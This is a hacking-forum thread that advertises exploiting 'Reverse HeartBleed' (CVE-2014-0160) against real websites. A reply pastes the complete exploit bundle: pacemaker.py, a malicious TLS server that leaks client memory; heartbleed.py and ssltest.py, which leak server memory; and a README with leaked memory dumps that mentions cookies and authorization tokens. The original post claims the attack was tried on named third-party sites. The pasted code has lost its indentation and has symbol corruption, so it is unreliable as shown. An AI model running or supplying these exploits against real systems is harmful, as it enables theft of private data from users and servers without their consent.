Jump to content

EXCLUSIVE: How to exploit Reverse HeartBleed on Real Websites


mohaab007

Recommended Posts

EXCLUSIVE: How to exploit Reverse HeartBleed on Real Websites



You will learn how to run and configure reverse HeartBleed server on your Kali linux and then configure your own router. This vulnerability is different than the normal HeartBleed attack (Server Side), this one is Client Side attack which means the target will come to us and give us their own and private data in memory :)


I tested it on turbobit.net, dmcloud.net, postimage.org and dev-host.org



share and enjoy :)


http://youtu.be/6xBHAqmmsXI


Link to comment
Share on other sites

I downloaded the zip and extracted for anyone curious. I would never use this though. Here are the contents:

pacemaker.py

#!/usr/bin/env python


# Exploitation of CVE-2014-0160 Heartbeat for the client
# Author: Peter Wu <peter@lekensteyn.nl>
# Licensed under the MIT license <http://opensource.org/licenses/MIT>.

try:
import socketserver
except:
import SocketServer as socketserver
import socket
import sys
import struct
import select, time
from argparse import ArgumentParser

parser = ArgumentParser(description='Test clients for Heartbleed (CVE-2014-0160)')
parser.add_argument('-6', '--ipv6', action='store_true',
help='Enable IPv6 addresses (implied by IPv6 listen addr. such as : :)')
parser.add_argument('-l', '--listen', default='',
help='Host to listen on (default "%(default)s")')
parser.add_argument('-p', '--port', type=int, default=4433,
help='TCP port to listen on (default %(default)d)')
# Note: FTP is (Explicit FTPS). Use TLS for Implicit FTPS
parser.add_argument('-c', '--client', default='tls',
choices=['tls', 'mysql', 'ftp', 'smtp', 'imap', 'pop3'],
help='Target client type (default %(default)s)')
parser.add_argument('-t', '--timeout', type=int, default=3,
help='Timeout in seconds to wait for a Heartbeat (default %(default)d)')
parser.add_argument('--skip-server', default=False, action='store_true',
help='Skip ServerHello, immediately write Heartbeat request')
parser.add_argument('-x', '--count', type=int, default=1,
help='Number of Hearbeats requests to be sent (default %(default)d)')

def make_hello(sslver, cipher):
# Record
data = '16 ' + sslver
data += ' 00 31' # Record ength
# Handshake
data += ' 02 00'
data += ' 00 2d' # Handshake length
data += ' ' + sslver
data += '''
52 34 c6 6d 86 8d e8 40 97 da
ee 7e 21 c4 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7
95 8c 33 42 3f d5 00
'''
data += ' '.join('{:02x}'.format© for c in cipher)
data += ' 00' # No compression
data += ' 00 05' # Extensions length
# Heartbeat extension
data += ' 00 0f' # Heartbeat type
data += ' 00 01' # Length
data += ' 01' # mode
return bytearray.fromhex(data.replace('\n', ''))

def make_heartbeat(sslver):
data = '18 ' + sslver
data += ' 00 03' # Length
data += ' 01' # Type: Request
# OpenSSL responds with records of length 0x4000. It starts with 3 bytes
# (length, response type) and ends with a 16 byte padding. If the payload is
# too small, OpenSSL buffers it and this will cause issues with repeated
# heartbeat requests. Therefore request a payload that fits exactly in four
# records (0x4000 * 4 - 3 - 16 = 0xffed).
data += ' ff ed' # Payload Length
return bytearray.fromhex(data.replace('\n', ''))

def hexdump(data):
allzeroes = b'\0' * 16
zerolines = 0

for i in range(0, len(data), 16):
line = data[i:i+16]
if line == allzeroes[:len(line)]:
zerolines += 1
if zerolines == 2:
print("*")
if zerolines >= 2:
continue

print("{:04x}: {:47} {}".format(i,
' '.join('{:02x}'.format© for c in line),
''.join(chr© if c >= 32 and c < 127 else '.' for c in line)))

class Failure(Exception):
pass

class RecordParser(object):
record_s = struct.Struct('!BHH')
def __init__(self):
self.buffer = bytearray()
self.buffer_len = 0
self.record_hdr = None

def feed(self, data):
self.buffer += data
self.buffer_len += len(data)

def get_header(self):
if self.record_hdr is None and self.buffer_len >= self.record_s.size:
self.record_hdr = self.record_s.unpack_from(bytes(self.buffer))
return self.record_hdr

def bytes_needed(self):
'''Zero or lower indicates that a fragment is available'''
expected_len = self.record_s.size
if self.get_header():
expected_len += self.record_hdr[2]
return expected_len - self.buffer_len

def get_record(self, partial=False):
if not self.get_header():
return None

record_type, sslver, fragment_len = self.record_hdr
record_len = self.record_s.size + fragment_len

if not partial and self.buffer_len < record_len:
return None

fragment = self.buffer[self.record_s.size:record_len]

del self.buffer[:record_len]
self.buffer_len -= record_len
self.record_hdr = None

return record_type, sslver, bytes(fragment)

def read_record(sock, timeout, partial=False):
rparser = RecordParser()
end_time = time.time() + timeout
error = None

bytes_to_read = rparser.bytes_needed()
while bytes_to_read > 0 and timeout > 0:
rl, _, _ = select.select([sock], [], [], timeout)

if not rl:
error = socket.timeout('Timeout while waiting for bytes')
break

try:
rparser.feed(rl[0].recv(bytes_to_read))
except socket.error as e:
error = e
break # Connection reset?

bytes_to_read = rparser.bytes_needed()
timeout = end_time - time.time()

return rparser.get_record(partial=partial), error

def read_hb_response(sock, timeout):
end_time = time.time() + timeout
memory = bytearray()
hb_len = 1 # Will be initialized after first heartbeat
read_error = None
alert = None

while len(memory) < hb_len and timeout > 0:
record, read_error = read_record(sock, timeout, partial=True)
if not record:
break

record_type, _, fragment = record
if record_type == 24:
if not memory: # First Heartbeat
# Check for enough room for type + len
if len(fragment) < 3:
if read_error: # Ignore error due to partial read
break
raise Failure('Response too small')
# Sanity check, should not happen with OpenSSL
if fragment[0:1] != b'\2':
raise Failure('Expected Heartbeat in first response')

hb_len, = struct.unpack_from('!H', fragment, 1)
memory += fragment[2:]
else: # Heartbeat continuation
memory += fragment
elif record_type == 21 and len(fragment) == 2: # Alert
alert = fragment
break
else:
# Cannot tell whether vulnerable or not!
raise Failure('Unexpected record type {}'.format(record_type))

timeout = end_time - time.time()

# Check for Alert (sent by NSS)
if alert:
lvl, desc = alert[0:1], ord(alert[1:2])
lvl = 'Warning' if lvl == 1 else 'Fatal'
print('Got Alert, level={}, description={}'.format(lvl, desc))
if not memory:
print('Not vulnerable! (Heartbeats disabled or not OpenSSL)')
return None

# Do not print error if we have memory, server could be crashed, etc.
if read_error and not memory:
print('Did not receive heartbeat response! ' + str(read_error))

return memory

class RequestHandler(socketserver.BaseRequestHandler):
def handle(self):
self.args = self.server.args
self.sslver = '03 01' # default to TLSv1.0
remote_addr, remote_port = self.request.getpeername()[:2]
print("Connection from: {}:{}".format(remote_addr, remote_port))

try:
# Set timeout to prevent hang on clients that send nothing
self.request.settimeout(2)
prep_meth = 'prepare_' + self.args.client
if hasattr(self, prep_meth):
getattr(self, prep_meth)(self.request)
print('Pre-TLS stage completed, continuing with handshake')

if not self.args.skip_server:
self.do_serverhello()

for i in range(0, self.args.count):
try:
if not self.do_evil():
break
except socket.error as e:
if i == 0: # First heartbeat?
print('Unable to send first heartbeat! ' + str(e))
else:
print('Unable to send more heartbeats, ' + str(e))
break
except (Failure, socket.error, socket.timeout) as e:
print('Unable to check for vulnerability: ' + str(e))
except KeyboardInterrupt:
# Don't just abort this client, stop the server too
print('Shutting down...')
self.server.kill()

print('')

def do_serverhello(self):
# Read TLS record header
content_type, ver, rec_len = self.recv_s('>BHH', 'TLS record')
# Session-ID length (1 byte) starts at offset 38
self.expect(rec_len >= 39, 'Illegal handshake packet')
if content_type == 0x80: # SSLv2 (assume length < 256)
raise Failure('SSL 2.0 clients cannot be tested')
else:
self.expect(content_type == 22, 'Expected Handshake type')

# Read handshake
hnd = self.request.recv(rec_len)
self.expect(len(hnd) == rec_len, 'Unable to read handshake')
hnd_type, len_high, len_low, ver = struct.unpack('>BBHH', hnd[:6])
self.expect(hnd_type == 1, 'Expected Client Hello')
# hnd[6:6+32] is Random
off = 6 + 32
sid_len, = struct.unpack('B', hnd[off:off+1])
off += 1 + sid_len # Skip length and SID
# Enough room for ciphers?
self.expect(rec_len - off >= 4, 'Illegal handshake packet (2)')
ciphers_len = struct.unpack("<H", hnd[off:off+2])
off += 2
# The first cipher is fine...
cipher = bytearray(hnd[off:off+2])

self.sslver = '{:02x} {:02x}'.format(ver >> 8, ver & 0xFF)

# (1) Handshake: ServerHello
self.request.sendall(make_hello(self.sslver, cipher))

# (skip Certificate, etc.)

def do_evil(self):
'''Returns True if memory *may* be acquired'''
# (2) HeartbeatRequest
self.request.sendall(make_heartbeat(self.sslver))

# (3) Buggy OpenSSL will throw 0xffff bytes, fixed ones stay silent
memory = read_hb_response(self.request, self.args.timeout)

# If memory is None, then it is not vulnerable for sure. Otherwise, if
# empty, then it *may* be invulnerable
if memory is not None and not memory:
print("Possibly not vulnerable")
return False
elif memory:
print('Client returned {0} ({0:#x}) bytes'.format(len(memory)))
hexdump(memory)

return True

def expect(self, cond, what):
if not cond:
raise Failure(what)


def prepare_mysql(self, sock):
# This was taken from a MariaDB client. For reference, see
# https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake
greeting = '''
56 00 00 00 0a 35 2e 35 2e 33 36 2d 4d 61 72 69
61 44 42 2d 6c 6f 67 00 04 00 00 00 3d 3b 4e 57
4c 54 44 35 00 ff ff 21 02 00 0f e0 15 00 00 00
00 00 00 00 00 00 00 7c 36 33 3f 23 2e 5e 6d 2d
34 5c 54 00 6d 79 73 71 6c 5f 6e 61 74 69 76 65
5f 70 61 73 73 77 6f 72 64 00
'''
sock.sendall(bytearray.fromhex(greeting.replace('\n', '')))
print("Server Greeting sent.")

len_low, len_high, seqid, caps = self.recv_s('<BHBH', 'MySQL handshake')
packet_len = (len_high << 8) | len_low
self.expect(packet_len == 32, 'Expected SSLRequest length == 32')
self.expect((caps & 0x800), 'Missing Client SSL support')

print("Skipping {} packet bytes...".format(packet_len))
# Skip remainder (minus 2 for caps) to prepare for SSL handshake
sock.recv(packet_len - 2)

def prepare_ftp(self, sock):
sock.sendall('220 pacemaker test\r\n'.encode('ascii'))
data = sock.recv(16).decode('ascii').strip()
self.expect(data in ('AUTH SSL', 'AUTH TLS'), \
'Unexpected response: ' + data)
sock.sendall(bytearray('234 ' + data + '\r\n', 'ascii'))

def prepare_pop3(self, sock):
self.do_conversation('+OK pacemaker ready\r\n', [
('CAPA', '+OK\r\nSTLS\r\n.\r\n'),
('STLS', '+OK\r\n')
])

def prepare_smtp(self, sock):
self.do_conversation('220 pacemaker test\r\n', [
('EHLO ', '250-example.com Hi!\r\n250 STARTTLS\r\n'),
('STARTTLS', '220 Go ahead\r\n')
])

def prepare_imap(self, sock):
caps = 'CAPABILITY IMAP4rev1 STARTTLS'
talk = [
('CAPABILITY', '* ' + caps + '\r\n'),
('STARTTLS', '')
]
sock.sendall(('* OK [' + caps + '] ready\r\n').encode('ascii'))

for exp, resp in talk:
data = sock.recv(256).decode('ascii').upper()
self.expect(' ' in data, 'IMAP protocol violation, got ' + data)
tag, data = data.split(' ', 2)
self.expect(data[:len(exp)] == exp, \
'Expected ' + exp + ', got ' + data)
resp += tag + ' OK\r\n'
sock.sendall(resp.encode('ascii'))

def do_conversation(self, greeting, talk):
'''Helper to handle simple request-response protocols.'''
self.request.sendall(greeting.encode('ascii'))

for exp, resp in talk:
data = self.request.recv(256).decode('ascii').upper()
self.expect(data[:len(exp)] == exp, \
'Expected ' + exp + ', got ' + data)
self.request.sendall(resp.encode('ascii'))

def recv_s(self, struct_def, what):
s = struct.Struct(struct_def)
data = self.request.recv(s.size)
msg = '{}: received only {}/{} bytes'.format(what, len(data), s.size)
self.expect(len(data) == s.size, msg)
return s.unpack(data)

class PacemakerServer(socketserver.TCPServer):
def __init__(self, args):
server_address = (args.listen, args.port)
self.allow_reuse_address = True
if args.ipv6 or ':' in args.listen:
self.address_family = socket.AF_INET6
socketserver.TCPServer.__init__(self, server_address, RequestHandler)
self.args = args

def serve_forever(self):
self.stopped = False
while not self.stopped:
self.handle_request()

def kill(self):
self.stopped = True

def serve(args):
print('Listening on {}:{} for {} clients'
.format(args.listen, args.port, args.client))
server = PacemakerServer(args)
server.serve_forever()

if __name__ == '__main__':
args = parser.parse_args()
try:
serve(args)
except KeyboardInterrupt:
pass

heartbleed.py

#!/usr/bin/env python


# Exploitation of CVE-2014-0160 Heartbeat for the server
# Author: Peter Wu <peter@lekensteyn.nl>
# Licensed under the MIT license <http://opensource.org/licenses/MIT>.

import socket
import sys
import struct
import time
from argparse import ArgumentParser

# Hexdump etc
from pacemaker import hexdump, make_heartbeat, read_record, read_hb_response
from pacemaker import Failure

parser = ArgumentParser(description='Test servers for Heartbleed (CVE-2014-0160)')
parser.add_argument('host', help='Hostname to connect to')
parser.add_argument('-6', '--ipv6', action='store_true',
help='Enable IPv6 addresses (implied by IPv6 listen addr. such as : :)')
parser.add_argument('-p', '--port', type=int, default=None,
help='TCP port to connect to (default depends on service)')
# Note: FTP is (Explicit FTPS). Use TLS for Implicit FTPS
parser.add_argument('-s', '--service', default='tls',
choices=['tls', 'ftp', 'smtp', 'imap', 'pop3'],
help='Target service type (default %(default)s)')
parser.add_argument('-t', '--timeout', type=int, default=3,
help='Timeout in seconds to wait for a Heartbeat (default %(default)d)')
parser.add_argument('-x', '--count', type=int, default=1,
help='Number of Hearbeats requests to be sent (default %(default)d)')

default_ports = {
'tls': 443,
'ftp': 21,
'smtp': 25, # tcp port 587 is used for submission
'imap': 143,
'pop3': 110,
}

def make_clienthello(sslver='03 01'):
# openssl ciphers -V 'HIGH:!MD5:!PSK:!DSS:!ECDSA:!aNULL:!SRP' |
# awk '{gsub("0x","");print tolower($1)}' | tr ',\n' ' '
ciphers = '''
c0 30 c0 28 c0 14 00 9f 00 6b 00 39 00 88 c0 32
c0 2e c0 2a c0 26 c0 0f c0 05 00 9d 00 3d 00 35
00 84 c0 12 00 16 c0 0d c0 03 00 0a c0 2f c0 27
c0 13 00 9e 00 67 00 33 00 45 c0 31 c0 2d c0 29
c0 25 c0 0e c0 04 00 9c 00 3c 00 2f 00 41
'''
ciphers_len = len(bytearray.fromhex(ciphers.replace('\n', '')))

# Handshake type and length will be added later
hs = sslver
hs += 32 * ' 42' # Random
hs += ' 00' # SID length
hs += ' 00 {:02x}'.format(ciphers_len) + ciphers
hs += ' 01 00 ' # Compression methods (1); NULL compression
# Extensions length
hs += ' 00 05' # Extensions length
# Heartbeat extension
hs += ' 00 0f' # Heartbeat type
hs += ' 00 01' # Length
hs += ' 01' # mode (peer allowed to send requests)

hs_data = bytearray.fromhex(hs.replace('\n', ''))
# ClientHello (1), length 00 xx xx
hs_data = struct.pack('>BBH', 1, 0, len(hs_data)) + hs_data

# Content Type: Handshake (22)
record_data = bytearray.fromhex('16 ' + sslver)
record_data += struct.pack('>H', len(hs_data))
record_data += hs_data
return record_data

def skip_server_handshake(sock, timeout, sslver):
end_time = time.time() + timeout
hs_struct = struct.Struct('!BBH')
for i in range(0, 5):
record, error = read_record(sock, timeout)
timeout = end_time - time.time()
if not record:
raise Failure('Unexpected server handshake! ' + str(error))

content_type, _, fragment = record
if content_type != 22:
raise Failure('Expected handshake type, got ' + str(content_type))

off = 0
# Records may consist of multiple handshake messages
while off + hs_struct.size <= len(fragment):
hs_type, len_high, len_low = hs_struct.unpack_from(fragment, off)
if off + len_low > len(fragment):
raise Failure('Illegal handshake length!')
off += hs_struct.size + len_low

# Server handshake is complete after ServerHelloDone
if hs_type == 14:
return # Ready to check for vulnerability

raise Failure('Too many handshake messages')

def handle_ssl(sock, sslver='03 01'):
# ClientHello
sock.sendall(make_clienthello(sslver))

# Skip ServerHello, Certificate, ServerKeyExchange, ServerHelloDone
skip_server_handshake(sock, args.timeout, sslver)

# Are you alive? Heartbeat please!
try:
sock.sendall(make_heartbeat(sslver))
except socker.error as e:
print('Unable to send heartbeat! ' + str(e))
return False

try:
memory = read_hb_response(sock, args.timeout)
if memory is not None and not memory:
print('Possibly not vulnerable')
return False
elif memory:
print('Server returned {0} ({0:#x}) bytes'.format(len(memory)))
hexdump(memory)
except socket.error as e:
print('Unable to read heartbeat response! ' + str(e))
return False

# "Maybe" vulnerable
return True

def test_server(host, port, timeout, prepare_func=None, family=socket.AF_INET):
try:
try:
sock = socket.socket(family=family)
sock.settimeout(timeout) # For writes, reads are already guarded
sock.connect((host, port))
except socket.error as e:
print('Unable to connect to {}:{}: {}'.format(host, port, e))
return False

if prepare_func is not None:
prepare_func(sock)
print('Pre-TLS stage completed, continuing with handshake')

return handle_ssl(sock)
except (Failure, socket.error) as e:
print('Unable to check for vulnerability: ' + str(e))
return False
finally:
if sock:
sock.close()

class Linereader(object):
def __init__(self, sock):
self.buffer = bytearray()
self.sock = sock

def readline(self):
if not b'\n' in self.buffer:
self.buffer += self.sock.recv(4096)
nlpos = self.buffer.index(b'\n')
if nlpos >= 0:
line = self.buffer[:nlpos+1]
del self.buffer[:nlpos+1]
return line.decode('ascii')
return ''

class Services(object):
@classmethod
def get_prepare(cls, service):
name = 'prepare_' + service
if hasattr(cls, name):
return getattr(cls, name)
return None

@staticmethod
def readline_expect(reader, expected, what=None):
line = reader.readline()
if not line.upper().startswith(expected.upper()):
if what is None:
what = expected
raise Failure('Expected ' + expected + ', got ' + line)
return line

@classmethod
def prepare_ftp(cls, sock):
reader = Linereader(sock)
tls = False
cls.readline_expect(reader, '220 ', 'FTP greeting')

sock.sendall(b'FEAT\r\n')
cls.readline_expect(reader, '211-', 'FTP features')
for i in range(0, 64):
line = reader.readline().upper()
if line.startswith(' AUTH TLS'):
tls = True
if line.startswith('211'):
break

if not tls:
raise Failure('AUTH TLS not supported')

sock.sendall(b'AUTH TLS\r\n')
cls.readline_expect(reader, '234 ', 'AUTH TLS ack')

@classmethod
def prepare_smtp(cls, sock):
reader = Linereader(sock)
tls = False

# Server greeting
cls.readline_expect(reader, '220 ', 'SMTP banner')

sock.sendall(b'EHLO pacemaker\r\n')
# Assume no more than 16 extensions
for i in range(0, 16):
line = cls.readline_expect(reader, '250', 'extension')
if line[4:].upper().startswith('STARTTLS'):
tls = True
if line[3] == ' ':
break

if not tls:
raise Failure('STARTTLS not supported')

sock.sendall(b'STARTTLS\r\n')
cls.readline_expect(reader, '220 ', 'STARTTLS acknowledgement')

@classmethod
def prepare_imap(cls, sock):
reader = Linereader(sock)
# actually, the greeting contains PREAUTH or OK
cls.readline_expect(reader, '* ', 'IMAP banner')

sock.sendall(b'a001 STARTTLS\r\n')
cls.readline_expect(reader, 'a001 OK', 'STARTTLS acknowledgement')

@classmethod
def prepare_pop3(cls, sock):
reader = Linereader(sock)
cls.readline_expect(reader, '+OK')
sock.sendall(b'STLS\r\n')
cls.readline_expect(reader, '+OK')

def main(args):
family = socket.AF_INET6 if args.ipv6 else socket.AF_INET
prep_func = Services.get_prepare(args.service)

# OpenSSL expects a client key exchange after its ServerHello. After the
# first heartbeat, it will reset the connection. That's why we cannot just
# repeatedly send heartbeats as the client does. For that, we need to
# complete the handshake, but that requires a different implementation
# approach. For now just keep re-connecting, it will flood server logs with
# handshake failures though.
for i in range(0, args.count):
if not test_server(args.host, args.port, args.timeout, \
prepare_func=prep_func, family=family):
break

if __name__ == '__main__':
args = parser.parse_args()
if args.port is None:
args.port = default_ports[args.service]
try:
main(args)
except KeyboardInterrupt:
pass

ssltest.py

#!/usr/bin/python



# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s]
hxdat = ' '.join('%02X' % ord© for c in lin)
pdat = ''.join((c if 32 <= ord© <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select(, [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata


def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False

if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True

if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break

print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)

if __name__ == '__main__':
main()

README.md

# Pacemaker


Attempts to abuse OpenSSL *clients* that are vulnerable to [Heartbleed][0]
([CVE-2014-0160][1]). Compatible with Python 2 and 3.

## Am I vulnerable?
Run the server:

python pacemaker.py

In your client, open https://localhost:4433/ (replace the hostname if needed).
For example:

curl https://localhost:4433/

The client will always fail to connect:

curl: (35) Unknown SSL protocol error in connection to localhost:4433

If you are not vulnerable, the server outputs something like:

Connection from: 127.0.0.1:40736
Possibly not vulnerable

If you *are* vulnerable, you will see something like:

Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 ...@....-..R4.m.
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............


Subsequent lines full of NUL bytes are folded into one with an `*` thereafter
(like the `xxd` tool).

An example where more "interesting" memory gets leaked using
`wget -O /dev/null https://google.com https://localhost:4433`:

Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 ...@....-..R4.m.
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........

## How does it work?
[TLS heartbeats][2] can be sent by either side of a TLS connection. After the
handshake completes, these heartbeats are encrypted. But apparently OpenSSL
allows heartbeat messages before the handshake is completed. These heartbeats
(on top of the record layer) are not encrypted at all!

This makes it very easy to exploit the bug on clients:

1. Wait for a ClientHello containing a TLS version and cipher suite.
2. Send a ServerHello containing the same TLS version and cipher suite (to
prevent handshake failure).
3. At this point, the server can send as many heartbeat requests as it likes.

Note that there is *no* need for any certificates as the heartbeats are accepted
before any certificate or encryption keys are exchanged. As the length of the
heartbeat requests are unchecked, [up to 64 kiB][3] memory can be read from
client memory.

pacemaker performs the above steps and assumes a client not to be vulnerable if
step 3 results in data other than Alerts. If needed for some protocols (SMTP
with STARTTLS for example), additional data is exchanged before the TLS
handshake starts.

## Advanced usage
Run `./pacemaker.py -h` for more options. The most important options are
probably `-t` (`--timeout`) and `-x` (`--count`). The default timeout is 3
seconds which should be enough for most clients to respond (unless there is a
satellite link or something).

Example to be more patient per heartbeat (5 seconds) and acquire four heartbeat
responses:

./pacemaker.py -t 5 -x 4

In theory, the heartbeats can take twenty seconds now, but in practice you will
get responses much faster.

## Tested clients
The following clients have been tested against OpenSSL 1.0.1f on Arch Linux and
leaked memory before the handshake:

- MariaDB 5.5.36
- wget 1.15 (leaks memory of earlier connections and own state)
- curl 7.36.0 (https, FTP/IMAP/POP3/SMTP with --ftp-ssl)
- git 1.9.1 (tested clone / push, leaks not much)
- nginx 1.4.7 (in proxy mode, leaks memory of previous requests)
- links 2.8 (leaks contents of previous visits!)
- KDE 4.12.4 (kioclient, Dolphin, tested https and ftps with kde4-ftps-kio)
- Exim 4.82 (outgoing SMTP)

links is a great example that demonstrates the effect of this bug on clients. It
is a text-based browser that leaks details including headers (cookies,
authorization tokens) and page contents.

## License
pacemaker is licensed under the MIT license. See the LICENSE file for more
details.

# heartbleed.py
This is an implementation that uses pacemaker for crafting packets.
It has the caveat that repeated requests need to establish a new connection for
every attempt because the server immediately resets the connection after the
first heartbeat response.

The caveat is a limitation resulting from the taken approach, if the handshake
would be completed by the client too, then many encrypted handshakes can be sent
without connection failures.

heartbleed.py is part of pacemaker, so falls under the same license terms.

## Tested servers
The following servers have been tested against OpenSSL 1.0.1f on Arch Linux
(unless stated otherwise):

- `openssl s_server` (HTTPS)
- nginx 1.4.7 (HTTPS)
- Dovecot 2.2.11 (IMAP / POP3)
- proftpd 1.3.4a-5+deb7u1 (explicit FTP)
- Exim 4.82 (SMTP)

# ssltest.py
This repository also contains a working version that targets servers. ssltest.py
was created by Jared Stafford (<jspenguin@jspenguin.org>), all due credits are
to him! It was retrieved from http://s3.jspenguin.org/ssltest.py.

At the moment, the script is only compatible with Python 2.

[0]: http://heartbleed.com/
[1]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
[2]: https://tools.ietf.org/html/rfc6520#section-3
[3]: http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html

License

Copyright © 2014 Peter Wu <peter@lekensteyn.nl>



Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

